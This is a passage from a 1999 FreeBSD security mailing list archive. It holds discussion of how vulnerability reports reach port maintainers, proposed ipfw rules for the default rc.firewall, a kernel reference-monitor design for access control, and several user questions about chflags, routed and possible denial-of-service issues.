ESMTP id 6DA1A14CA6 for ; Thu, 2 Dec 1999 09:07:59 -0800 (PST) (envelope-from mph@wopr.caltech.edu) Received: (from mph@localhost) by wopr.caltech.edu (8.9.3/8.9.1) id JAA22055; Thu, 2 Dec 1999 09:07:05 -0800 (PST) (envelope-from mph) Date: Thu, 2 Dec 1999 09:07:05 -0800 From: Matthew Hunt To: Matt Behrens Cc: security@FreeBSD.ORG Subject: Re: [Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] ] Message-ID: <19991202090705.A21828@wopr.caltech.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from matt@zigg.com on Thu, Dec 02, 1999 at 07:04:40AM -0500 Approved: graham.spanier Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Dec 02, 1999 at 07:04:40AM -0500, Matt Behrens wrote: > Isn't that what happened? Didn't Mr. Tellier say that the security > officer had ``contacted the maintainers''? I wasn't going to bother bringing this up in public, but I am one of the affected maintainers, and I never heard anything about it until Kris marked games/angband BROKEN. I'm not placing blame and I haven't investigated the issue closely, I'm just saying I never got an email in my inbox about it. I'm currently investigating the ramifications of installing angband non-sgid. I think this requires one or more mode 1777 directories. Do we have any policies against ports creating such directories? Should the user be warned in some way? Matt -- Matthew Hunt * Stay close to the Vorlon. http://www.pobox.com/~mph/ * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 9:52:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id CD4F414E0B; Thu, 2 Dec 1999 09:52:40 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id RAA19697; Thu, 2 Dec 1999 17:52:09 GMT Message-ID: <3846B1CA.21FD4270@algroup.co.uk> Date: Thu, 02 Dec 1999 17:52:10 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: John Baldwin Cc: freebsd-security@FreeBSD.org Subject: Re: rc.firewall revisited References: <199912021602.LAA37669@server.baldwin.cx> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org John Baldwin wrote: > > On 02-Dec-99 Adam Laurie wrote: > > My specific experience was that I found a hole in the default > > rc.firewall rules. This hole means that UDP is totally unprotected > > because of faulty rules for DNS and NTP. I posted a suggested fix to > > the security-officer, and got an immediate reply saying "I agree > > 100%". The security-officer is clearly also a list, because I then > > got another reply from someone else, telling me how to configure my > > DNS. This degenerated into a thread related to DNS server > > configuration and entirely missing the point regarding ipfw. I then > > suggested moving it to the wider forum of this list, and guess > > what...? The same thing happened! The thread diappeared in a cloud > > of irrelevant discussion about how to set up name servers. As I > > say, I'm currently unaware of the status of rc.firewall, but when I > > get around to checking it, if it hasn't been fixed, you'll be > > reading about yourselves on bugtraq again! If it has been fixed, > > then excellent, well done, etc. etc. :) > > I checked the logs, and no change has been committed. Your proposal is > to replace: > > # Allow DNS queries out in the world > $fwcmd add pass udp from any 53 to ${ip} > $fwcmd add pass udp from ${ip} to any 53 > > # Allow NTP queries out in the world > $fwcmd add pass udp from any 123 to ${ip} > $fwcmd add pass udp from ${ip} to any 123 > > with: > > # Block low port incoming UDP (and NFS) but allow replies for DNS, > NTP > # and all other high ports. Allow outgoing UDP. > $fwcmd add pass udp from any to ${ip} 123 > $fwcmd add deny udp from any to ${ip} 0-1023,1110,2049 > $fwcmd add pass udp from any to any > > There were concerns about DNS replies to a local server. In -current > and -stable, BIND is 8.2.x, so queries to the outside do not originate > from 53 by default, and so replies do not come in to port 53. However, > if machines inside the firewall use a DNS server on the firewall then > you could have problems. Perhaps this instead then: > > # Allow NTP to this machine > $fwcmd add pass udp from any to ${ip} 123 > > # Allow DNS requests to this machine > $fwcmd add pass udp from any to ${ip} 53 > > # Deny all other incoming requests on low ports and NFS > $fwcmd add deny udp from any to ${ip} 0-1023,1110,2049 > > # Allow all outgoing UDP > $fwcmd add pass udp from any to any OK, well this more or less matches my own current iteration, so I have no problem with that... cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 10: 7:43 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 7C7DF14D2D; Thu, 2 Dec 1999 10:07:40 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id KAA73912; Thu, 2 Dec 1999 10:07:28 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199912021807.KAA73912@gndrsh.dnsmgr.net> Subject: Re: rc.firewall revisited In-Reply-To: <3846B1CA.21FD4270@algroup.co.uk> from Adam Laurie at "Dec 2, 1999 05:52:10 pm" To: adam@algroup.co.uk (Adam Laurie) Date: Thu, 2 Dec 1999 10:07:28 -0800 (PST) Cc: jhb@FreeBSD.ORG (John Baldwin), freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org ... > > > > # Allow all outgoing UDP > > $fwcmd add pass udp from any to any The comment for this does not match what the rule actually does, this rule has not ``outgoing'' about it at all.... > OK, well this more or less matches my own current iteration, so I have > no problem with that... The above rule set reduces to nothing more than a deny to low ports and NFS due to missing via/in/out clauses.. -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 10:18:29 1999 Delivered-To: freebsd-security@freebsd.org Received: from server.baldwin.cx (jobaldwi.campus.vt.edu [198.82.67.146]) by hub.freebsd.org (Postfix) with ESMTP id 0488114DCD for ; Thu, 2 Dec 1999 10:18:26 -0800 (PST) (envelope-from jhb@FreeBSD.org) Received: from john.baldwin.cx (john [10.0.0.2]) by server.baldwin.cx (8.9.3/8.9.3) with ESMTP id NAA54042; Thu, 2 Dec 1999 13:17:59 -0500 (EST) (envelope-from jhb@FreeBSD.org) Message-Id: <199912021817.NAA54042@server.baldwin.cx> X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199912021807.KAA73912@gndrsh.dnsmgr.net> Date: Thu, 02 Dec 1999 13:17:59 -0500 (EST) From: John Baldwin To: "Rodney W. Grimes" Subject: Re: rc.firewall revisited Cc: freebsd-security@FreeBSD.org, (Adam Laurie) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 02-Dec-99 Rodney W. Grimes wrote: > ... >> > >> > # Allow all outgoing UDP >> > $fwcmd add pass udp from any to any > > The comment for this does not match what the rule actually does, > this rule has not ``outgoing'' about it at all.... Grrr.. perhaps this would be better: $fwcmd add pass udp from ${ip} to any >> OK, well this more or less matches my own current iteration, so I have >> no problem with that... > > The above rule set reduces to nothing more than a deny to low ports > and NFS due to missing via/in/out clauses.. Do you prefer your earlier proposal that used a $dnsserver variable then? > -- > Rod Grimes - KD7CAX @ CN85sl - (RWG25) > rgrimes@gndrsh.dnsmgr.net -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.cslab.vt.edu/~jobaldwi/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 10:24:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id 2671514D09 for ; Thu, 2 Dec 1999 10:24:07 -0800 (PST) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id VAA13483; Thu, 2 Dec 1999 21:23:34 +0300 (MSK) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdC13481; Thu Dec 2 21:23:31 1999 Received: from localhost (localhost [127.0.0.1]) by ws-ilmar.ints.ru (8.9.3/8.9.3) with ESMTP id VAA45382; Thu, 2 Dec 1999 21:23:30 +0300 (MSK) Date: Thu, 2 Dec 1999 21:23:29 +0300 (MSK) From: "Ilmar S. Habibulin" To: freebsd-security@freebsd.org Cc: posix1e@cyrus.watson.org Subject: Reference monitor concept implementation Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I do not know where is better to address this, maybe to -arch? While reading the description of WinNT security subsystem i noticed that something called Security Reference Monitor, which handles all access requests and grands or denys them. That is the thing Orange Book is talking about. If you'll look through the freebsd source, you can see that all fs drivers handles access requests by themselves. At the same time the codes are equal. I suggest to change fs drivers and kernel so that fs drivers will suply kernel with security attributes of the files(directories and so on) and kernel will make decision on granting or denying access. There would be much more easy to implement different access control mechanisms in such system. PS. My early Mandatory Access Control implementation was coded in the FFS driver. While trying to spread MAC to other objects i understand my mistake. Now MAC is in syscalls. So what people would you say? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 10:30:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id C99F214CC4; Thu, 2 Dec 1999 10:30:51 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id KAA87172; Thu, 2 Dec 1999 10:29:28 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) To: Sheldon Hearn Cc: Steve Reid , Bill Swingle , security@FreeBSD.ORG, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-reply-to: Your message of "Thu, 02 Dec 1999 13:24:58 +0200." <67349.944133898@axl.noc.iafrica.com> Date: Thu, 02 Dec 1999 10:29:28 -0800 Message-ID: <87169.944159368@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > If you're not going to badger a port's maintainer until he/she does > something, you're unlikely to get results out of a single request. > That's why the PR system is good. The PR sits there pissing us off > until someone does something about it. :-) Well, let me just add something to this, and that's that if you also can't get reasonable satisfaction out of a maintainer, move up the "chain of authority" and talk to the ports team and/or Satoshi Asami about it. If that still doesn't net you results, appeal to core. The buck will eventually stop somewhere. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 10:36:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 47BCC14DA5 for ; Thu, 2 Dec 1999 10:36:22 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id NAA13636; Thu, 2 Dec 1999 13:35:58 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Thu, 2 Dec 1999 13:35:58 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: "Ilmar S. Habibulin" Cc: freebsd-security@freebsd.org, posix1e@cyrus.watson.org Subject: Re: Reference monitor concept implementation In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 2 Dec 1999, Ilmar S. Habibulin wrote: > I do not know where is better to address this, maybe to -arch? > While reading the description of WinNT security subsystem i noticed that > something called Security Reference Monitor, which handles all access > requests and grands or denys them. That is the thing Orange Book is > talking about. > If you'll look through the freebsd source, you can see that all fs drivers > handles access requests by themselves. At the same time the codes are > equal. I suggest to change fs drivers and kernel so that fs drivers will > suply kernel with security attributes of the files(directories and so > on) and kernel will make decision on granting or denying access. > There would be much more easy to implement different access control > mechanisms in such system. > > PS. My early Mandatory Access Control implementation was coded in the FFS > driver. While trying to spread MAC to other objects i understand my > mistake. Now MAC is in syscalls. > > So what people would you say? I've run into this sort of problem in numerous places/contexts/etc. There are problems with both localized and centralized security implementations. Sticking the calls in the syscall code means they can't easily or accidentally be bypassed, but denies your code access to the semantics of the underlying storage structure (i.e., different file systems may offer different services). Implementing in the fs itself means local fs semantics are allowed (witness different file semantics in various distributed file systems), but leads to other problems. My answer with ACLs was to expose the syntax of ACLs in the VFS, provide a default implementation of the access control checks for file systems to use, but allow file systems to locally overide. This means FFS w/ACLs will use the generic POSIX.1e ACL behavior, but AFS can overide to get AFS ACL semantics. The only bug with this right now is a sorting optimization for submitting ACLs, and I have, and I'm working on that now. I'd be tempted to go the same route for MAC--expose the MAC syntax/etc in the VFS, provide a default checking implementation that you hook existing file systems to use, but allow a file system to use its own implementation if it knows better (i.e., is also aware of global distributed MAC issues on top of local ones). This swells the vnops a bit, but might work better. You do lose the centralization of implementation a little, although you can keep it where desired. The nice thing about having fs access control checking implemented in the fs itself is awareness of local semantics -- the syscall code can't know everything it needs to know about the filestore semantics. On the other hand, I greatly appreciate the desire to have a reference monitor as one central place to audit :-). There was some discussion of doing capabilities in the style of the Java 1.2 permissions -- i.e., a central access control mechanism with localized definitions of capabilities. Might want to take a look into that. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 10:37:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from slack.net (brooklyn.slack.net [206.41.21.102]) by hub.freebsd.org (Postfix) with SMTP id EE9AE14DA5 for ; Thu, 2 Dec 1999 10:37:21 -0800 (PST) (envelope-from andrewr@slack.net) Received: (qmail 13035 invoked by uid 1077); 2 Dec 1999 18:32:31 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 2 Dec 1999 18:32:31 -0000 Date: Thu, 2 Dec 1999 13:32:31 -0500 (EST) From: andrewr To: "Jordan K. Hubbard" Cc: Sheldon Hearn , Steve Reid , Bill Swingle , security@FreeBSD.ORG, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-Reply-To: <87169.944159368@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > Well, let me just add something to this, and that's that if you > also can't get reasonable satisfaction out of a maintainer, move > up the "chain of authority" and talk to the ports team and/or > Satoshi Asami about it. If that still doesn't net you results, > appeal to core. The buck will eventually stop somewhere. :) > Wouldn't it be a better idea to just plainly make an easy way to report a hole? Someone who is trying to report a hole will just plain get pissed off if they have to keep going to some one else.. and they say "oh, well, whatever" or "go to him and talk to him" etc... I just think it's smart to put in place a specific group or person or email alias _specifically_ for the purpose of handling this type of situation (security hole? don't know who to report it to? the security grooup knows, talk to them.. and they will handle the contact for you). Again, I ask, is this feasible? Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 10:54: 3 1999 Delivered-To: freebsd-security@freebsd.org Received: from penta.ufrgs.br (penta.ufrgs.br [143.54.1.20]) by hub.freebsd.org (Postfix) with ESMTP id C021514C31 for ; Thu, 2 Dec 1999 10:53:56 -0800 (PST) (envelope-from berthold@penta.ufrgs.br) Received: (from berthold@localhost) by penta.ufrgs.br (8.8.8/8.8.8) id QAA19977 for freebsd-security@freebsd.org; Thu, 2 Dec 1999 16:54:47 -0200 (EDT) Date: Thu, 2 Dec 1999 16:54:47 -0200 (EDT) From: berthold@penta.ufrgs.br Message-Id: <199912021854.QAA19977@penta.ufrgs.br> To: freebsd-security@freebsd.org Subject: documentation about chflags Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, Im trying to enforce the security in my freebsd, and I have seen the securelevel and chflags.... The docs about securelevel its ok but I did not understand the flags at chflags. Anyone can provide me any information ? I saw at source code about UF_DUMP and NODUMP and I did not see any better reference thanks in advance Leandro To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 11:42:58 1999 Delivered-To: freebsd-security@freebsd.org Received: from web112.yahoomail.com (web112.yahoomail.com [205.180.60.82]) by hub.freebsd.org (Postfix) with SMTP id 3CDA114E39 for ; Thu, 2 Dec 1999 11:42:52 -0800 (PST) (envelope-from osiris2002@yahoo.com) Received: (qmail 20903 invoked by uid 60001); 2 Dec 1999 19:24:52 -0000 Message-ID: <19991202192452.20902.qmail@web112.yahoomail.com> Received: from [168.187.17.69] by web112.yahoomail.com; Thu, 02 Dec 1999 11:24:52 PST Date: Thu, 2 Dec 1999 11:24:52 -0800 (PST) From: Joss Roots Subject: Is it posssible for someone to FREEZE FreeBSD over TCP-IP Network ? To: freebsd-security@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi there, I was running FreeBSD-3.3 -STABLE today (as usual) and was running XFree86 X11R6-3.3.5, and WindowMaker window manager,and a couple of clients, like Netscape 4.5 and unix Cockpit. I was merely downloading some of the ports and was not compiling any code that may crash the machine. At the moment I was clicking the mouse to shift from one desktop to another the whole machine was frozen. No keyboard, no mouse, unable to even kill the X window system, and ctrl-alt-del was inoperable. The only possiblities that I can think of 1. the Window Maker contains a really bad bug. (I wonder if this could crash the FreeBSD) 2. the Mouse Interrupt came at a really bad time. (This may crash the machine on any OS, but how or why this happenend, and is this reproducible, I am not sure ?) 3. Someone has caused the machine to freeze deliberatley over the internet. (I have Pentium-166, with the work-around F00F bug installed.) I wonder (too long), about the possiblity of using this bug, or another way to freeze the machine by a "denial of service" attack. and I also wonder if there is something I should setup to at least give me some kind of logging when I reboot. Eng. David Greenman is encouraged to feedback on this, and all comments are mostly welcome. thanks in advance. ===== MAY THE FORCE BE WITH YOU. __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one place. Yahoo! Shopping: http://shopping.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 11:54:44 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 0948714E22; Thu, 2 Dec 1999 11:54:40 -0800 (PST) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id LAA74271; Thu, 2 Dec 1999 11:54:39 -0800 (PST) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199912021954.LAA74271@gndrsh.dnsmgr.net> Subject: Re: rc.firewall revisited In-Reply-To: <199912021817.NAA54042@server.baldwin.cx> from John Baldwin at "Dec 2, 1999 01:17:59 pm" To: jhb@FreeBSD.org (John Baldwin) Date: Thu, 2 Dec 1999 11:54:38 -0800 (PST) Cc: freebsd-security@FreeBSD.org, adam@algroup.co.uk X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > On 02-Dec-99 Rodney W. Grimes wrote: > > ... > >> > > >> > # Allow all outgoing UDP > >> > $fwcmd add pass udp from any to any > > > > The comment for this does not match what the rule actually does, > > this rule has not ``outgoing'' about it at all.... > > Grrr.. perhaps this would be better: > > $fwcmd add pass udp from ${ip} to any > > >> OK, well this more or less matches my own current iteration, so I have > >> no problem with that... > > > > The above rule set reduces to nothing more than a deny to low ports > > and NFS due to missing via/in/out clauses.. > > Do you prefer your earlier proposal that used a $dnsserver variable then? I'd actually prefer that rc.firewall be pretty much either blank, or very carefully engineered. What is there now is a total joke, it only gives people false senses of security. If you must deal with DNS through a firewall you must make sure your bind is setup to do port 53 queries, only listen on specific IP addresses and then you can actually write the correct rules: ipfw add X pass udp from any to ${dnsserver} 53 ipfw add X+1 pass udp from ${dnsserver} 53 to any ipfw add X+2 deny log udp from any to any 53 ipfw add X+3 dney log udp from any 53 to any You also need to do similiar things for tcp/53. One can't be sure that the above will work, unless one can insure that all DNS clients are configured to query from port 53. If you have to remove this restriction you'll never get a set of rules thats worth a damn with respect to named. If this is a real firewall instead of just a host being protected you can be even strickter if you configure your internal DNS servers correctly, mandate that all internal DNS queries use these servers as forwarders, etc. This is way way way beyond the scope of what can easily be done in a stock /etc/rc.firewall. You will never be able to write an rc.firewall that is very good and generally applicable unless you define a lot of things about how the environment is set up, and tell the user how he needs to change his internal configuration such that it can work with this set of firewall rules. You need things like internal IP subnet range data, specific services on specific machines, allow protocols, my current simple set firewall uses 80 some odd variables to define this stuff, and it's not even close to be a good firewall :-) #!/bin/sh # $FreeBSD$ # rc.firewall # This is the file that a site should define it's firewall rule set in, # we recommend books X, Y and Z and man ipfw(8) as minimal reading before # attempting to create the content of this file. # # It is up to the user to write a correct set of firewall rules, network # environments are far to varied to even attempt for FreeBSD to provide # a template, as it would most defanitly be wrong at some unknown number # of sites. -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 12:21:45 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 190F714C17; Thu, 2 Dec 1999 12:21:44 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 0652A1CD417; Thu, 2 Dec 1999 12:21:43 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Thu, 2 Dec 1999 12:21:43 -0800 (PST) From: Kris Kennaway To: Steve Reid Cc: Sheldon Hearn , Bill Swingle , security@FreeBSD.ORG, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-Reply-To: <19991202032121.A7470@grok.localnet> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 2 Dec 1999, Steve Reid wrote: > Some time ago I found a root exploit in a third-party package installed > via ports. I wasn't sure if it was freebsd-specific so I emailed the > port maintainer and the people originally responsible for the software. What is the port? I will look at it. Quite often the ports maintainers don't do their job, at which point you should take it to someone else (i.e. another committer, who is allowed to go in and fix the problem himself if the maintainer is being unresponsive). Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 12:44:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id 894CD14CCC for ; Thu, 2 Dec 1999 12:44:41 -0800 (PST) (envelope-from mike@sentex.net) Received: from granite.sentex.net (granite-atm.sentex.ca [209.112.4.1]) by vinyl.sentex.ca (8.9.3/8.9.3) with ESMTP id PAA25880 for ; Thu, 2 Dec 1999 15:44:36 -0500 (EST) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by granite.sentex.net (8.8.8/8.6.9) with SMTP id PAA00547 for ; Thu, 2 Dec 1999 15:44:36 -0500 (EST) Message-Id: <3.0.5.32.19991202154308.01bc93c0@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Thu, 02 Dec 1999 15:43:08 -0500 To: freebsd-security@freebsd.org From: Mike Tancsa Subject: Other outstanding vulnerabilities Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org While on the topic of vulnerabilities etc, has there been any progress on these two DoSes ? http://www.securityfocus.com/vdb/bottom.html?vid=622 http://www.securityfocus.com/vdb/bottom.html?vid=526 they are the setsockopt() and mmap DoSes... There was talk of the mmap being patched up in Current, but I havent seen anything official. Bugtraq still lists all versions of FreeBSD vulnerable. ---Mike ------------------------------------------------------------------------ Mike Tancsa, tel +1 519 651 3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 12:47:55 1999 Delivered-To: freebsd-security@freebsd.org Received: from athserv.otenet.gr (athserv.otenet.gr [195.170.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 1F42114E81 for ; Thu, 2 Dec 1999 12:47:46 -0800 (PST) (envelope-from keramida@diogenis.ceid.upatras.gr) Received: from localhost.hell.gr (patr530-a044.otenet.gr [195.167.115.44]) by athserv.otenet.gr (8.9.3/8.9.3) with SMTP id WAA10095 for ; Thu, 2 Dec 1999 22:45:58 +0200 (EET) Received: (qmail 6756 invoked by uid 1001); 2 Dec 1999 12:58:10 -0000 Date: Thu, 2 Dec 1999 14:58:10 +0200 From: d e a t h To: Panov Eugene Cc: freebsd-security@freebsd.org Subject: Re: routed -q Message-ID: <19991202145810.C6476@hades.hell.gr> Reply-To: keramida@ceid.upatras.gr References: <002101bf3c71$6c3077f0$65727cc1@relcom.kz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <002101bf3c71$6c3077f0$65727cc1@relcom.kz> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Dec 02, 1999 at 09:00:42AM +0600, Panov Eugene wrote: > Dear FreeBSD Security . > > Can you tell me , why when I start routed -q , routed sends to syslog > Dec 1 17:28:42 crawler routed[478]: sendto(ed1, 224.0.0.2): No route to host > Has anyone had such a problem ? If I can recall it correctly, 224.0.0.x addresses are multicast? It could be that your router/gateway drops such packets, or that your static routing table does not contain any entries for 224.0.0.x addresses. -- Giorgos Keramidas, "What we have to learn to do, we learn by doing." [Aristotle] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 13:22: 9 1999 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id EC913151BE; Thu, 2 Dec 1999 13:21:59 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id NAA14882; Thu, 2 Dec 1999 13:19:10 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id NAA15335; Thu, 2 Dec 1999 13:19:10 -0800 Received: from softweyr.com (dyn0.utah.xylan.com) by omni.xylan.com (4.1/SMI-4.1 (xylan engr [SPOOL])) id AA11707; Thu, 2 Dec 99 13:19:01 PST Message-Id: <3846E24D.FCDA7AC1@softweyr.com> Date: Thu, 02 Dec 1999 14:19:09 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.61 [en] (X11; I; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en Mime-Version: 1.0 To: Steve Reid Cc: Sheldon Hearn , Bill Swingle , security@FreeBSD.ORG, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] References: <19991202032121.A7470@grok.localnet> <67349.944133898@axl.noc.iafrica.com> <19991202052242.C7470@grok.localnet> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Steve Reid wrote: > > On Thu, Dec 02, 1999 at 01:24:58PM +0200, Sheldon Hearn wrote: > > If you're not going to badger a port's maintainer until he/she does > > something, you're unlikely to get results out of a single request. > > That's why the PR system is good. The PR sits there pissing us off > > until someone does something about it. :-) > > In my case I don't 